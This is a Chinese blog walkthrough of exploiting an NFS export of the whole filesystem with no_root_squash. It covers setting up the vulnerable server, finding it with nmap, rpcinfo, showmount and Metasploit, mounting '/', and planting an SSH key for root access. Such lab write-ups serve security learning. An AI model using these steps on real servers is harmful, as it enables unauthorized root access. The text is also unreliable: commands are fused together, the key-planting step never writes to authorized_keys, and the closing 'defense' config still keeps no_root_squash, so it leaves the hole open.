nfs permission denied(nfs权限管理)

漏洞简介

NFS(Network File System,网络文件系统)是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源,在NFS的应用中本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件就像访问本地文件一样,如今NFS具备了防止被利用导出文件夹的功能,但遗留系统中的NFS服务配置不当,则仍可能遭到恶意攻击者的利用

环境搭建

首先更新Ubuntu系统:

sudo apt-get update

sudo apt upgrade

nfs permission denied(nfs权限管理)

安装NFS内核服务器软件包

sudo apt install nfs-kernel-server

nfs permission denied(nfs权限管理)

配置NFS导出并编辑/etc/exports文件以定义要共享的目录和允许访问的客户端

sudo nano /etc/exports

nfs permission denied(nfs权限管理)

将以下内容添加到文件中替换<client_IP>为客户端的IP地址(或使用通配符*允许所有IP访问)

/ *(rw,sync,no_root_squash)

nfs permission denied(nfs权限管理)

各段表达的意思如下:

/    :共享的目录*    :指定哪些用户可以访问     * 所有可以ping同该主机的用户     192.168.1.* 指定网段,在该网段中的用户可以挂载     192.168.1.12 只有该用户能挂载(ro,sync,no_root_squash): 权限     ro : 只读     rw : 读写     sync : 同步     no_root_squash: 不降低root用户的权限

随后重启nfs服务

sudo /etc/init.d/nfs-kernel-server restart

nfs permission denied(nfs权限管理)

漏洞复现

发现NFS

NFS服务的默认开放端口为2049/TCP,因此我们可以借助Nmap来针对性的进行探测

nmap -T4 -A -v 192.168.204.160

nfs permission denied(nfs权限管理)

确定挂载

我们可以通过rpcinfo命令来确定主机上是否运行或挂载了NFS服务

rpcinfo -p 192.168.204.160

nfs permission denied(nfs权限管理)

列文件夹

我们可以使用以下命令检索给定主机的导出文件夹列表,这些信息将被用于访问这些文件夹

showmount 192.168.204.160 -e 

nfs permission denied(nfs权限管理)

当showmount命令与以下参数一起使用时,可以为我们检索到更多的信息,例如:

    showmount IP        // 连接的主机showmount -d IP      // 目录showmount -a IP      // 挂载点

    nfs permission denied(nfs权限管理)

    Metasploit框架中也有一个模块可以用来列出导出文件夹

      msf6 auxiliary(scanner/nfs/nfsmount) > show optionsmsf6 auxiliary(scanner/nfs/nfsmount) > set RHOSTS 192.168.204.160msf6 auxiliary(scanner/nfs/nfsmount) > exploit

      nfs permission denied(nfs权限管理)

      共享访问

      导出的文件夹可以通过创建一个空的本地文件夹并将共享挂载到该文件夹来访问,如下所示:

      mkdir /temp/mount -t nfs 192.168.204.160:/ /temp -o nolock

      nfs permission denied(nfs权限管理)

      当成功验证共享挂载后我们可以通过以下命令来列出所有的本地磁盘信息

      df -h

      nfs permission denied(nfs权限管理)

      此时我们可以像访问其他文件夹一样轻松的访问共享文件夹

      cd /temp/ls -alt

      nfs permission denied(nfs权限管理)

      终端访问

      在这里我们可以通过写SSH公钥的方式实现获取目标服务器的Shell权限:

      cd /root/.ssh/ssh-keygen -t rsa -b 4096

      随后将公钥添加到授权密钥列表中:

      cp /root/.ssh/id_rsa.pub /temp/root/.ssh/id_rsa1.pubssh -i /root/.ssh/id_rsa root@192.168.204.160

      防御方法

      设置/etc/exports对访问进行控制,例如:

      / export 192.168.204.160(rw,async,no_root_squash)

      原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34089.html

      (0)
      七芒星实验室's avatar七芒星实验室
      上一篇 2024年4月7日 下午10:56
      下一篇 2024年4月7日 下午10:58

      相关推荐

      发表回复

      您的邮箱地址不会被公开。 必填项已用 * 标注